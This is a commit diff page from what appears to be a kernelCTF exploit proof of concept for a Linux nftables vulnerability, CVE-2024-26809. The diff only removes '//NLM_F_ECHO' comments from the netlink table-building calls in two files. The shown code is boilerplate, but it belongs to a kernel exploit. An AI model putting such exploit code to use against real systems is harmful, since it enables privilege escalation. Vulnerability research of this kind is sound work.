File tree 2 files changed +4
-4
lines changed
pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit
2 files changed +4
-4
lines changed Original file line number Diff line number Diff line change @@ -35,7 +35,7 @@ void new_table(struct nl_sock * socket, char *name){
35
35
NL_AUTO_SEQ , // begin wit seq number 0
36
36
NFNL_MSG_BATCH_END ,// TYPE
37
37
sizeof (struct nfgenmsg ),
38
- NLM_F_REQUEST //NLM_F_ECHO
38
+ NLM_F_REQUEST
39
39
);
40
40
nla_put_string (msg2 , NFTA_TABLE_NAME , name );
41
41
uint32_t total_size = NLMSG_ALIGN (hdr1 -> nlmsg_len ) + NLMSG_ALIGN (hdr2 -> nlmsg_len ) + NLMSG_ALIGN (hdr3 -> nlmsg_len );
@@ -60,7 +60,7 @@ void get_table(struct nl_sock * socket, char *name){
60
60
NL_AUTO_SEQ , // begin wit seq number 0
61
61
NFNL_SUBSYS_NFTABLES , //SUBSYS
62
62
NFT_MSG_GETTABLE , // TYPE
63
- NLM_F_REQUEST , //NLM_F_ECHO
63
+ NLM_F_REQUEST ,
64
64
2 , //FAMILY
65
65
0 //RES_ID
66
66
);
Original file line number Diff line number Diff line change @@ -35,7 +35,7 @@ void new_table(struct nl_sock * socket, char *name){
35
35
NL_AUTO_SEQ , // begin wit seq number 0
36
36
NFNL_MSG_BATCH_END ,// TYPE
37
37
sizeof (struct nfgenmsg ),
38
- NLM_F_REQUEST //NLM_F_ECHO
38
+ NLM_F_REQUEST
39
39
);
40
40
nla_put_string (msg2 , NFTA_TABLE_NAME , name );
41
41
uint32_t total_size = NLMSG_ALIGN (hdr1 -> nlmsg_len ) + NLMSG_ALIGN (hdr2 -> nlmsg_len ) + NLMSG_ALIGN (hdr3 -> nlmsg_len );
@@ -60,7 +60,7 @@ void get_table(struct nl_sock * socket, char *name){
60
60
NL_AUTO_SEQ , // begin wit seq number 0
61
61
NFNL_SUBSYS_NFTABLES , //SUBSYS
62
62
NFT_MSG_GETTABLE , // TYPE
63
- NLM_F_REQUEST , //NLM_F_ECHO
63
+ NLM_F_REQUEST ,
64
64
2 , //FAMILY
65
65
0 //RES_ID
66
66
);
You can’t perform that action at this time.
0 commit comments